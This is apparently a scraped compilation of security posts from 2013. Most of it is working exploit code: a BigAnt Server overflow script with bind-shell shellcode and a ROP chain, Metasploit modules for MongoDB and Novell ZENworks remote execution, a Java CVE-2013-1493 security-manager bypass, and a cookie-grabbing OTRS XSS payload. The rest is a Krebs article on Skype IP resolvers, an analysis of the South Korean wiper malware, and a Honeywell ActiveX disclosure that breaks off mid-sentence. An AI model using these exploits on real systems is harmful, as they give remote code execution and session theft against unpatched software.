"\x00\x00\x00\x00" #numberToSkip (0) packet << "\xff\xff\xff\xff" #numberToReturn (1) packet << "\x1b\x00\x00\x00" packet << "\x01\x67\x65\x74\x6c\x61\x73\x74\x65\x72\x72\x6f\x 72\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00" sock.put(packet) response = sock.get_once have_auth_error?(response) end def do_login print_status("Trying #{datastore['USERNAME']}/#{datastore['PASSWORD']} on #{datastore['DB']} database") nonce = get_nonce status = auth(nonce) return status end def auth(nonce) request_id = Rex::Text.rand_text(4) packet = request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) packet << "\x00\x00\x00\x00" #flags packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd) packet << "\x00\x00\x00\x00" #numberToSkip (0) packet << "\xff\xff\xff\xff" #numberToReturn (1) #{"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"} document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x 65" document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x 65\x72\x00" document << [datastore['USERNAME'].length + 1].pack("L") # +1 due null byte termination document << datastore['USERNAME'] + "\x00" document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00" document << nonce + "\x00" document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00" document << Rex::Text.md5(nonce + datastore['USERNAME'] + Rex::Text.md5(datastore['USERNAME'] + ":mongo:" + datastore['PASSWORD'])) + "\x00" document << "\x00" #Calculate document length document.insert(0, [document.length + 4].pack("L")) packet += document #Calculate messageLength packet.insert(0, [(packet.length + 4)].pack("L")) #messageLength sock.put(packet) response = sock.get_once if have_auth_error?(response) print_error("Bad login or DB") return 0 else print_good("Successful login on DB #{datastore['db']}") return 1 end end def get_nonce request_id = Rex::Text.rand_text(4) packet = [datastore['DB'].length + 57].pack("L") #messageLength (57+DB.length) packet << request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) packet << "\x00\x00\x00\x00" #flags packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd) packet << "\x00\x00\x00\x00" #numberToSkip (0) packet << "\x01\x00\x00\x00" #numberToReturn (1) #query {"getnonce"=>1.0} packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x 65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00" sock.put(packet) response = sock.get_once documents = response[36..1024] #{"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0} nonce = documents[15..30] end def have_auth_error?(response) #Response header 36 bytes long documents = response[36..1024] #{"errmsg"=>"auth fails", "ok"=>0.0} #{"errmsg"=>"need to login", "ok"=>0.0} if documents.include?('errmsg') || documents.include?('unauthorized') return true else return false end end end Sursa: https://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/linux/misc/mongod_native_helper.rb

BigAnt Server 2.97 - DDNF Username Buffer Overflow import socket,os,struct,sys,subprocess,time if len(sys.argv) < 2: print "[-]Usage: %s <target addr> " % sys.argv[0] + "\r" sys.exit(0) host = sys.argv[1] #msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -b "\x00\x0a\x0d\x20\x25\x27" sc = ( "\xd9\xec\xba\x1f\xaf\x04\x2d\xd9\x74\x24\xf4\x5d\x2b\xc9" "\xb1\x56\x31\x55\x18\x03\x55\x18\x83\xc5\x1b\x4d\xf1\xd1" "\xcb\x18\xfa\x29\x0b\x7b\x72\xcc\x3a\xa9\xe0\x84\x6e\x7d" "\x62\xc8\x82\xf6\x26\xf9\x11\x7a\xef\x0e\x92\x31\xc9\x21" "\x23\xf4\xd5\xee\xe7\x96\xa9\xec\x3b\x79\x93\x3e\x4e\x78" "\xd4\x23\xa0\x28\x8d\x28\x12\xdd\xba\x6d\xae\xdc\x6c\xfa" "\x8e\xa6\x09\x3d\x7a\x1d\x13\x6e\xd2\x2a\x5b\x96\x59\x74" "\x7c\xa7\x8e\x66\x40\xee\xbb\x5d\x32\xf1\x6d\xac\xbb\xc3" "\x51\x63\x82\xeb\x5c\x7d\xc2\xcc\xbe\x08\x38\x2f\x43\x0b" "\xfb\x4d\x9f\x9e\x1e\xf5\x54\x38\xfb\x07\xb9\xdf\x88\x04" "\x76\xab\xd7\x08\x89\x78\x6c\x34\x02\x7f\xa3\xbc\x50\xa4" "\x67\xe4\x03\xc5\x3e\x40\xe2\xfa\x21\x2c\x5b\x5f\x29\xdf" "\x88\xd9\x70\x88\x7d\xd4\x8a\x48\xe9\x6f\xf8\x7a\xb6\xdb" "\x96\x36\x3f\xc2\x61\x38\x6a\xb2\xfe\xc7\x94\xc3\xd7\x03" "\xc0\x93\x4f\xa5\x68\x78\x90\x4a\xbd\x2f\xc0\xe4\x6d\x90" "\xb0\x44\xdd\x78\xdb\x4a\x02\x98\xe4\x80\x35\x9e\x2a\xf0" "\x16\x49\x4f\x06\x89\xd5\xc6\xe0\xc3\xf5\x8e\xbb\x7b\x34" "\xf5\x73\x1c\x47\xdf\x2f\xb5\xdf\x57\x26\x01\xdf\x67\x6c" "\x22\x4c\xcf\xe7\xb0\x9e\xd4\x16\xc7\x8a\x7c\x50\xf0\x5d" "\xf6\x0c\xb3\xfc\x07\x05\x23\x9c\x9a\xc2\xb3\xeb\x86\x5c" "\xe4\xbc\x79\x95\x60\x51\x23\x0f\x96\xa8\xb5\x68\x12\x77" "\x06\x76\x9b\xfa\x32\x5c\x8b\xc2\xbb\xd8\xff\x9a\xed\xb6" "\xa9\x5c\x44\x79\x03\x37\x3b\xd3\xc3\xce\x77\xe4\x95\xce" "\x5d\x92\x79\x7e\x08\xe3\x86\x4f\xdc\xe3\xff\xad\x7c\x0b" "\x2a\x76\x8c\x46\x76\xdf\x05\x0f\xe3\x5d\x48\xb0\xde\xa2" "\x75\x33\xea\x5a\x82\x2b\x9f\x5f\xce\xeb\x4c\x12\x5f\x9e" "\x72\x81\x60\x8b") #rop chain generated with mona.py - www.corelan.be rop_gadgets = "" rop_gadgets += struct.pack('<L',0x0f9edaa9) # POP EDX # RETN [expsrv.dll] rop_gadgets += struct.pack('<L',0x0fa021cc) # ptr to &VirtualProtect() [IAT expsrv.dll] rop_gadgets += struct.pack('<L',0x0f9ea2a7) # MOV ECX,DWORD PTR DS:[EDX] # SUB EAX,ECX # RETN [expsrv.dll] rop_gadgets += struct.pack('<L',0x0f9e0214) # PUSH ECX # SUB AL,5F # POP ESI # POP EBP # RETN 0x24 [expsrv.dll] rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x0f9ee3d9) # POP ECX # RETN [expsrv.dll] rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x0F9A5001) # &Writable location rop_gadgets += struct.pack('<L',0x0f9f1e7c) # POP EDX # RETN [expsrv.dll] rop_gadgets += struct.pack('<L',0xffffffff) # EDX starting value for i in range(0,65): rop_gadgets += struct.pack('<L',0x0f9dbb5a) # INC EDX # RETN ghetto style [expsrv.dll] rop_gadgets += struct.pack('<L',0x0f9e65b6) # POP EAX # RETN [expsrv.dll] rop_gadgets += struct.pack('<L',0xfffffdff) # Value to negate, will become 0x00000201 rop_gadgets += struct.pack('<L',0x0f9f2831) # NEG EAX # RETN [expsrv.dll] rop_gadgets += struct.pack('<L',0x0f9c5f4b) # POP EDI # RETN [expsrv.dll] rop_gadgets += struct.pack('<L',0x0FA0C001) # put this in edi so the nex one doesnt die, writable for edi rop_gadgets += struct.pack('<L',0x0f9e2be0) # PUSH EAX # OR BYTE PTR DS:[EDI+5E],BL # POP EBX # POP EBP # RETN 0x08 ** [expsrv.dll] rop_gadgets += struct.pack('<L',0x0f9e24f9) # push esp # ret 0x08 | {PAGE_EXECUTE_READ} [expsrv.dll rop_gadgets += struct.pack('<L',0x0f9c5f4b) # POP EDI # RETN [expsrv.dll] rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x41414141) # Filler (compensate) rop_gadgets += struct.pack('<L',0x0f9e5cd2) # RETN (ROP NOP) [expsrv.dll] rop_gadgets += struct.pack('<L',0x0f9c8a3e) # POP EAX # RETN [expsrv.dll] rop_gadgets += struct.pack('<L',0x909006eb) # nop with a ninja jump rop_gadgets += struct.pack('<L',0x0f9f30c2) # PUSHAD # RETN [expsrv.dll] rop_gadgets += struct.pack('<L',0x0f9e5cd2) # RETN (ROP NOP) [expsrv.dll] front = "A" * 684 seh = struct.pack('<L',0x0f9eeb8a) # ADD ESP,1004 [expsrv.dll] back = "C" * 1592 stack_adjust = "\x81\xc4\x24\xfa\xff\xff" junk = "D" * (4000 - (len(front) + len(seh) + len(back) + len(rop_gadgets) + len(stack_adjust) + len(sc))) sploit = front + seh + back + rop_gadgets + stack_adjust + sc + junk print "[+] Sending pwnag3 to " + str(host) try : s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,6661)) s.send("" "DDNF 17\n" "classid: 100\n" "cmdid: 1\n" "objid: 1\n" "rootid: 3\n" "userid: 8\n" "username: "+sploit+ "\r\n\r\n") time.sleep(1) except: print "[-] There was a problem" sys.exit() print "[+] Getting your shell. " time.sleep(3) subprocess.Popen("telnet "+host+" 4444",shell=True).wait() print"[*] Done." s.close() # 4B41C2BE2E6B7422 1337day.com [2013-04-12] 44A83C396BBC0257 # Sursa: 1337day Inj3ct0r Exploit Database : vulnerability : 0day : shellcode by Inj3ct0r Team

Novell ZENworks Configuration Management Remote Execution ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Novell ZENworks Configuration Management Remote Execution', 'Description' => %q{ This module exploits a code execution flaw in Novell ZENworks Configuration Management 10 SP3 and 11 SP2. The vulnerability exists in the ZEnworks Control Center application, allowing an unauthenticated attacker to upload a malicious file outside of the TEMP directory and then make a second request that allows for arbitrary code execution. This module has been tested successfully on Novell ZENworks Configuration Management 10 SP3 and 11 SP2 on Windows 2003 SP2 and SUSE Linux Enterprise Server 10 SP3. }, 'Author' => [ 'James Burton', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-1080' ], [ 'BID', '58668' ], [ 'OSVDB', '91627' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-049/' ], [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011812' ] ], 'Privileged' => false, 'Platform' => [ 'win', 'linux' ], 'Targets' => [ [ 'ZENworks Configuration Management 10 SP3 and 11 SP2 / Windows 2003 SP2', { 'Arch' => ARCH_X86, 'Platform' => 'win', 'Traversal' => '../webapps/' } ], [ 'ZENworks Configuration Management 10 SP3 and 11 SP2 / SUSE Linux Enterprise Server 10 SP3', { 'Arch' => ARCH_X86, 'Platform' => 'linux', 'Traversal' => '../../opt/novell/zenworks/share/tomcat/webapps/' } ] ], 'DefaultTarget' => 1, 'DisclosureDate' => 'Mar 22 2013')) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]) ], self.class) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => "/zenworks/jsp/fw/internal/Login.jsp" }) if res and res.code == 200 and res.body =~ /Novell ZENworks Control Center/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Detected end def exploit # Generate the WAR containing the EXE containing the payload app_base = rand_text_alphanumeric(4+rand(4)) jsp_name = rand_text_alphanumeric(8+rand(8)) war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...") # Rex::MIME::Message.new doesn't work fine with binary data, destroys "\x0d" chars boundary = "----#{rand_text_alpha(34)}" data = "--#{boundary}\r\n" data << "Content-Disposition: form-data; name=\"mainPage:_ctrl21a:FindFile:filePathTextBox\"; filename=\"#{target['Traversal']}#{app_base}.war\"\r\n" data << "Content-Type: application/octet-stream\r\n\r\n" data << war_data data << "\r\n" data << "--#{boundary}--" res = send_request_cgi( { 'method' => 'POST', 'uri' => "/zenworks/jsp/index.jsp?pageid=newDocumentWizard", 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => data }) if res and res.code == 302 print_status("Upload finished, waiting 20 seconds for payload deployment...") else fail_with(Exploit::Failure::Unknown, "Failed to upload payload") end # Wait to ensure the uploaded war is deployed select(nil, nil, nil, 20) print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...") send_request_cgi({ 'uri' => normalize_uri(app_base, "#{jsp_name}.jsp"), 'method' => 'GET', }) end end Sursa: Novell ZENworks Configuration Management Remote Execution

# Exploit Title: [OTRS Faq Module - Persistent XSS] # Date: [2-Apr-2013] # Exploit Author: [Luigi Vezzoso] # Vendor Homepage: [http://www.otrs.com] # Version: [OTRS ITSM 3.2.x,OTRS ITSM 3.1.x,OTRS ITSM 3.0.x] # Tested on: [Perl] # CVE : [CVE-2013-2637] #OVERVIEW The OTRS ITSM FAQ Module 3.2.x and below is vulnerable to a persistant XSS that permit some client side attack like cookies grabbing. #INTRODUCTION OTRS (OTRS Help Desk software - OTRS IT Service Management software - Free Open Source Help Desk - Problem Management System - Customer Interaction Software | OTRS) is a flexible Help Desk and IT-Service Management Software distribuited as opensource project (AGPL License) and also as-a-service. WIth a 1,650,000 downloads and 110,000 installation is one of the most used ticketing and service management software in the world. #VULNERABILITY DESCRIPTION The FAQ Module permit to share FAQ documents to Admins (called Agents in OTRS), Customers and everyone. The documents are presented like a wiki. Each user with the permission of add a FAQ can create a custom FAQ with the exploit. Each user that can view that FAQ (also the admin) can trigger the XSS. The user can add JavaScript in the "Syntoms" of FAQ like the simplest: <script>alert("H4cked!! "+document.cookie);</script> -------------------------------------------------------------------------------- <li class="Customer Visible"> <div class="MessageHeader"> <h3>Symptom:</h3> <div class="Clear"></div> </div> <div class="ArticleFAQContent"> <div class="message"> <script>alert("H4cked!! "+document.cookie);</script> </div> </div> </li> -------------------------------------------------------------------------------- #VERSIONS AFFECTED OTRS ITSM 3.2.x, OTRS ITSM 3.1.x, OTRS ITSM 3.0.x, FAQ 2.1.x, FAQ 2.0.x #SOLUTION Referer to vendor security advisor @ http://www.otrs.com/en/open-source/community-news/security-advisories/security-advisory-2013-02/ #CREDITS Luigi Vezzoso email: luigivezzoso@gmail.com skype: luigivezzoso Sursa: OTRS FAQ Module - Persistent XSS

Privacy 101: Skype Leaks Your Location The events of the past week reminded me of a privacy topic I’ve been meaning to revisit: That voice-over-IP telephony service Skype constantly exposes your Internet address to the entire world, and that there are now numerous free and commercial tools that can be used to link Skype user account names to numeric Internet addresses. A Skype resolver service in action. A Skype resolver service in action. The fact that Skype betrays its users’ online location information is hardly news. For example, The Wall Street Journal and other news outlets warned last year about research showing that it was possible to coax Skype into revealing the IP addresses of individual Skype users. But I believe most Skype users still have no clue about this basic privacy weakness. What’s changed is that over the past year, a number of services have emerged to help snoops and ne’er-do-wells exploit this vulnerability to track and harass others online. For example, an online search for “skype resolver” returns dozens of results that point to services (of variable reliability) that allow users to look up the Internet address of any Skype user, just by supplying the target’s Skype account name. In the above screen shot, we can see one such service being used to display the IP address most recently used by the Skype account “mailen_support” (this particular account belongs to the tech support contact for Mailien, a Russian pharmacy spam affiliate program by the same name). A Skype IP resolver service in action. A Skype IP resolver service in action. Typically, these Skype resolvers are offered in tandem with “booter” or “stresser” services, online attack tools-for-hire than can be rented to launch denial-of-service attacks (one of these services was used in an attack on this Web site, and on that of Ars Technica last week). The idea being that if you want to knock someone offline but you don’t know their Internet address, you can simply search on Skype to see if they have an account, and then use the resolvers to locate their IP. The resolvers work regardless of any privacy settings the target user may have selected within the Skype program’s configuration panel. Many of these resolver services offer “blacklisting,” which for a fee will allow users to prevent other users from looking up the IP address attached to a specific Skype account, said Brandon Levene, an independent security researcher. “It’s basically a protection scheme,” Levene said. Levene said the Skype resolvers work by using a modified Skype client (5.5 or 5.9) to create a debug log. This client is hosted on a web server. “A simple script is used to construct a link containing a Skype username, which is passed to the modified client,” Levene said. “This client simply attempts to add the requested username to a contact list and parses the target account’s ‘information card’ (if available). This process writes the IP address of the requested username to the debug log, in plain sight.” Beyond exposing one’s Internet connection to annoying and disruptive attacks, this vulnerability could allow stalkers or corporate rivals to track the movement of individuals and executives as they travel between cities and states. Skype was purchased by Microsoft in 2011, but Microsoft appears to have done little to address this privacy weakness, despite the attention brought to it and the proliferation of sites offering tools to exploit it. “We are investigating reports of tools that capture a Skype user’s last known IP address,” a spokesperson for Skype said in an emailed statement. “This is an ongoing, industry-wide issue faced by all peer-to-peer software companies.” The simplest way to address these privacy issues would be to relay all Skype signalling traffic (e.g., handshakes) through proxies, said Stevens Le Blond, a researcher at the Max Planck Institute for Software Systems in Germany. “That would prevent low-resource third parties, such as resolvers, to track Skype users,” Le Blond wrote in an email to KrebsOnSecurity. “However, despite a major infrastructure upgrade last year, Skype is still vulnerable to location tracking. One can only hypothesize as to why that is the case. One possibility is that relaying all signalling traffic would break interoperability with earlier versions of Skype. Defending against more powerful attackers able to eavesdrop on Internet links is much more challenging because it requires to relay both signalling and encrypted payload traffic, Le Blond said. “One challenge is that the maximum Round Trip Time (RTT) that VoIP users can tolerate is around 300 milliseconds (ms) whereas the propagation delay in a fiber optical cable spanning the circumference of the planet is approximately 200ms. It means that when a user in Germany calls another one in Australia, the proxy service must incur less than 100ms additional RTT. My team and I are currently working on this problem.” Sursa: https://krebsonsecurity.com/2013/03/privacy-101-skype-leaks-your-location/

On March 20th an attack that brought down three major media broadcasters and at least two financial institutions computer systems in South Korea was launched. The Red Alert team which is part of NSHC Security has provided access to their ongoing reports of the malware attack (PDF – Korean). The attack was first detected on March 20, 2013 around 2:20PM (UTC+9) South Korean broadcasters KBS, MBC and YTN as well as three banks, (????) Jeju, (????) Nonghyup (Bank and Insurance) and (????) Shinhan all reported having their computer networks knocked offline after PCs were infected by data-deleting malware believed to have spread from update servers on the network. MBR & VMR Corruption From several samples of the malware and logs it has been found that the malware was designed to corrupt the Master Boot Record (MBR) as well as the Volume Boot Record (VMR). Once the corruption has taken place the system reboots leaving the system unusable as the MBR is missing . Remote Server Access & Wipe Attempt In addition to corrupting the MBR on the target system, an executable (vti-rescans.exe) checks for the existence of remote management tools for Linux/Unix servers (Felix Deimel, mRemote, VanDyke, SecureCRT) and pulls remote connection configuration information including host name, username and password and uses this to make a connection via Putty console (alg.exe) or SCP (conime.exe) to execute commands on the remote system. A temporary file ~pr1.tmp is created which contains the shell script to execute which attempts to wipe all data from remote system. Malware Flow First the initial file is dropped onto the system which checks for the existence of remote configuration files, then creates and executes additional files. The next phase of the attack is where the MBR is corrupted after no remote connection information is found. Security Software Process Kill In an attempt to block attempts by security software to terminate the malicious payload, the malware kills the processes of two popular anti-virus products, both AhnLab Policy Agent (pasvc.exe) and ViRobot ISMS (clisvc.exe). Malware Files So far the files involved in the attack as as follows: File Name: ApcRunCmd_DB4BBDC36A78A8807AD9B15A562515C4.exe MD5: db4bbdc36a78a8807ad9b15a562515c4 File Type: Win32 EXE File Name: OthDown.exe MD5: 5fcd6e1dace6b0599429d913850f0364 File Type: Win32 EXE File Name: AmAgent.exe MD5: 5fcd6e1dace6b0599429d913850f0364 FileType: Win32 EXE File Name: vti-rescan.exe MD5: 9263e40d9823aecf9388b64de34eae54 File Type: Win32 EXE Attack Source The media has made a number of speculations and assumptions regarding the origins of the attack, as well as the purpose and intent of the attackers, none of which have been substantiated by evidence. There were some reports that the malware attack was related to a site defacement of LG U+ by a group claiming to be called the”Whois” team, but no evidence exists at this time to link to the two, aside from the two incidents occuring at roughly around same time. Thank you to NSHC Red Team for providing ongoing detailed reports and excellent analysis of the malware involved. Sursa: South Korean Attack & Malware Analysis : The State of Security

Java CVE-2013-1493 exploit import java.applet.Applet; import java.awt.color.ColorSpace; import java.awt.image.BufferedImage; import java.awt.image.ColorConvertOp; import java.awt.image.ColorModel; import java.awt.image.ComponentColorModel; import java.awt.image.ComponentSampleModel; import java.awt.image.SampleModel; public class Init extends Applet { private static final long serialVersionUID = 1L; static final int ARRAY_MAGIC = -1341411317; static final int ARRAY_OLDSIZE = 11; static final int ARRAY_NEWSIZE = 2147483647; static final int LEAK_MAGIC = -559035650; static final int SPRAY_ARRAY_COUNT = 2808685; static final int SPRAY_LEAK_COUNT = 2000000; volatile Leak[] _sleaks; volatile int[][] _sarrays; volatile int[] _bigArray; int[] _memBaseObj; long _memBaseIdx; long _memBasePtr; int[] soffsets; int[] doffsets; public Init() { this.soffsets = new int[] { 0, 1, 2, 3 }; this.doffsets = new int[] { 0, 1, 2, 50000000 }; } void spray() throws Exception { Runtime.getRuntime().gc(); Runtime.getRuntime().gc(); this._sleaks = new Leak[2000000]; this._sarrays = new int[2808685][]; try { for (int i = 0; i < this._sarrays.length; i++) { this._sarrays[i] = new int[11]; for (int j = 0; j < this._sarrays[i].length; j++) { this._sarrays[i][j] = -1341411317; } } for (int i = 0; i < this._sleaks.length; i++) this._sleaks[i] = new Leak("L"); } catch (OutOfMemoryError localOutOfMemoryError) { } } void getBigArray() throws Exception { for (int i = 0; i < this._sarrays.length; i++) { for (int j = 0; (j < this._sarrays[i].length) && (j < 11); j++) { this._sarrays[i][j] = -1341411317; } } for (int i = 0; i < this._sarrays.length; i++) { if (this._sarrays[i].length != 2147483647) { for (int j = 0; (j < this._sarrays[i].length) && (j < 22); j++) { if ((j > 0) && (this._sarrays[i][(j - 1)] != -1341411317) && (this._sarrays[i][j] == -1341411317)) { this._sarrays[i][(j - 1)] = 2147483647; } } } } for (int i = 0; i < this._sarrays.length; i++) { if ((this._sarrays[i].length == 11) || (this._bigArray != null) || (this._sarrays[i].length != 2147483647)) continue; this._bigArray = this._sarrays[i]; } if (this._bigArray == null) throw new Exception("fail"); } long getAddress(Object obj) throws Exception { for (int i = 0; i < this._bigArray.length; i++) { if (this._bigArray[i] == -559035650) { int flag = 0; for (int j = 0; j < this._sleaks.length; j++) this._sleaks[j].obj = null; flag += (this._bigArray[(i + 1)] == 0 ? 1 : 0); for (int j = 0; j < this._sleaks.length; j++) this._sleaks[j].obj = "X"; flag += (this._bigArray[(i + 1)] != 0 ? 1 : 0); if (flag == 2) { for (int j = 0; j < this._sleaks.length; j++) this._sleaks[j].obj = obj; return this._bigArray[(i + 1)]; } } } throw new Exception("fail"); } void getMemBase() throws Exception { for (int i = 0; i < this._sarrays.length; i++) { for (int j = 0; (j < this._sarrays[i].length) && (j < 11); j++) { this._sarrays[i][j] = (j == 1 ? i : -1341411317); } } for (int i = 0; i < this._bigArray.length; i++) { if ((i > 0) && (this._bigArray[(i - 1)] != -1341411317) && (this._bigArray[i] == -1341411317) && (this._bigArray[(i + 1)] != -1341411317)) { int len = this._bigArray[(i - 1)]; int idx = this._bigArray[(i + 1)]; if ((idx >= 0) && (idx < this._sarrays.length) && (this._sarrays[idx] != null) && (this._sarrays[idx].length == len)) { this._memBaseObj = this._sarrays[idx]; this._memBaseIdx = i; break; } } } if (this._memBaseObj == null) { throw new Exception("fail"); } this._memBasePtr = getAddress(this._memBaseObj); if (this._memBasePtr == 0L) { throw new Exception("fail"); } this._memBasePtr += 12L; } int rdMem(long addr) { long offs = this._memBaseIdx + (addr - this._memBasePtr) / 4L; if ((offs >= 0L) && (offs < 2147483647L)) { return this._bigArray[(int)offs]; } return 0; } void wrMem(long addr, int value) { long offs = this._memBaseIdx + (addr - this._memBasePtr) / 4L; if ((offs >= 0L) && (offs < 2147483647L)) this._bigArray[(int)offs] = value; } void privileged() { try { Runtime.getRuntime().exec("calc.exe"); } catch (Exception localException) { localException.printStackTrace(); } } public void init() { try { if (System.getSecurityManager() == null) { privileged(); return; } int sWidth = 168; int sHeight = 1; int spStride = 4; int ssStride = spStride * sWidth; int dWidth = sWidth; int dHeight = sHeight; int dpStride = 1; int dsStride = 0; ColorSpace scs = new MyColorSpace(0, this.soffsets.length - 1); ColorModel scm = new ComponentColorModel(scs, true, false, 1, 0); SampleModel ssm = new ComponentSampleModel(0, sWidth, sHeight, spStride, ssStride, this.soffsets); BufferedImage sbi = new MyBufferedImage(sWidth, sHeight, 6, 0, scm, ssm); for (int i = 0; i < ssStride; i++) { sbi.getRaster().getDataBuffer().setElem(i, 1); } ColorSpace dcs = new MyColorSpace(0, this.doffsets.length - 1); ColorModel dcm = new ComponentColorModel(dcs, true, false, 1, 0); SampleModel dsm = new ComponentSampleModel(0, dWidth, dHeight, dpStride, dsStride, this.doffsets); BufferedImage dbi = new MyBufferedImage(sWidth, sHeight, 10, 0, dcm, dsm); ColorConvertOp cco = new ColorConvertOp(null); spray(); try { cco.filter(sbi, dbi); } catch (Exception localException) { } getBigArray(); getMemBase(); long sys = getAddress(System.class); long sm = getAddress(System.getSecurityManager()); sys = rdMem(sys + 4L); for (int i = 0; i < 2000000; i++) { long addr = sys + i * 4; int val = rdMem(addr); if (val == sm) { wrMem(addr, 0); if (System.getSecurityManager() == null) { break; } } } privileged(); } catch (Exception localException1) { } } } class Leak { public volatile int magic; public volatile Object obj; public volatile Object obj2; public volatile Object obj3; public volatile Object obj4; public Leak(Object o) { this.magic = -559035650; this.obj = o; } } import java.awt.image.BufferedImage; import java.awt.image.ColorModel; import java.awt.image.SampleModel; class MyBufferedImage extends BufferedImage { int _fakeType; ColorModel _fakeColorModel; SampleModel _fakeSampleModel; public MyBufferedImage(int width, int height, int imageType, int fakeType, ColorModel fakeColorModel, SampleModel fakeSampleModel) { super(width,height, imageType); this._fakeType = fakeType; this._fakeColorModel = fakeColorModel; this._fakeSampleModel = fakeSampleModel; } public int getType() { String caller = java.lang.Thread.currentThread().getStackTrace()[2].toString(); if (caller.contains("ICC_Transform.getImageLayout(")) { return this._fakeType; } return super.getType(); } public ColorModel getColorModel() { String caller = java.lang.Thread.currentThread().getStackTrace()[2].toString(); if ((caller.contains("ICC_Transform.getImageLayout(")) || (caller.contains("CMMImageLayout.<init>("))) { return this._fakeColorModel; } return super.getColorModel(); } public SampleModel getSampleModel() { String caller = java.lang.Thread.currentThread().getStackTrace()[2].toString(); if (caller.contains("ICC_Transform.getImageLayout(")) { return this._fakeSampleModel; } return super.getSampleModel(); } } import java.awt.color.ColorSpace; class MyColorSpace extends ColorSpace { private static final long serialVersionUID = 1L; public MyColorSpace(int type, int numcomponents) { super(type,numcomponents); } public float[] fromCIEXYZ(float[] value) { return null; } public float[] toCIEXYZ(float[] value) { return null; } public float[] fromRGB(float[] value) { return null; } public float[] toRGB(float[] value) { return null; } } Sursa: #6581034 - Pastie

Exploit for new Vulnerability on Honeywell EBI ActiveX (CVE-2013-0108) Posted by Juan Vazquez in Metasploit on Mar 11, 2013 11:16:34 AM Today, we present to you a new vulnerability, CVE-2013-0108, discovered in Honeywell Enterprise Buildings Integrator (EBI) R310 - R410.2. This platform is used to integrate different systems and devices such as heating, ventilation, and air conditioning (HVAC) controls; security; access control; life safety; lighting; energy management; and facilities management into a common platform. Using open architecture and industry standards, EBI integrates existing buildings systems, providing seamless digital information and control across all building operational management systems." Following our standard disclosure policy, we notified both Honeywell and CERT/CC, who in turn coordinated with ICS-CERT. Quoting from the ICS-CERT advisory ICSA-13-053-02: Exploitation of this vulnerability could allow partial loss of availability, integrity, and confidentiality and could be exploited remotely. This vulnerability could affect systems deployed in the government facilities and commercial facilities sectors. The vulnerability could allow remote attackers to execute arbitrary code via a specially crafted HTML document. The attacker would require an end-user or operator to voluntarily interact with the attack mechanism for it to be successful. For example, the attacker could send an email message to the end-user, containing a link to a Web site with the specially crafted HTML document. CVE-2013-0108 has been assigned to this vulnerability with a CVSS v2 base score of 6.8. Now, before you read any further, if you own or operate one of these building control systems, you really should take a few moments and spend quality time with your Honeywell sales and service representative to ask about getting the latest Station Security Update Package. When we first reported this to Honeywell, their responsiveness and concern was both prompt and thorough, so it's clear to all of us at Rapid7 that Honeywell definitely has their customers' security interests at heart. From a disclosure standpoint, Honeywell's response was A++++, would exploit again. (: Vulnerability Summary The specific flaw exists within the HSC Remote Deploy ActiveX (HSCRemoteDeploy.dll), with the class ID "0D080D7D-28D2-4F86-BFA1-D582E5CE4867". This control is used to support installation of Honeywell HMIWeb Browser on workstation clients. The LaunchInstaller() method, provided by the vulnerable control, can be abused to run an arbitrary HTA application through mshta.exe. Disclosure Timeline Date Description 2013-01-08 Initial discovery by Juan Vazquez, Metasploit Researcher 2013-01-08 Metasploit module written 2013-01-10 Initial disclosure to the vendor, Honeywell 2013-01-10 Initial response from the vendor 2013-01-25 Disclosure to CERT/CC 2013-01-30 Disclosure coordination with vendor, CERT/CC, and ISC-CERT 2013-02-04 Vendor advisory bulletin and patch drafted 2013-02-22 Vendor advisory bulletin and patch release 2013-02-22 ISC-CERT Advisory published 2013-03-11 Public disclosure and 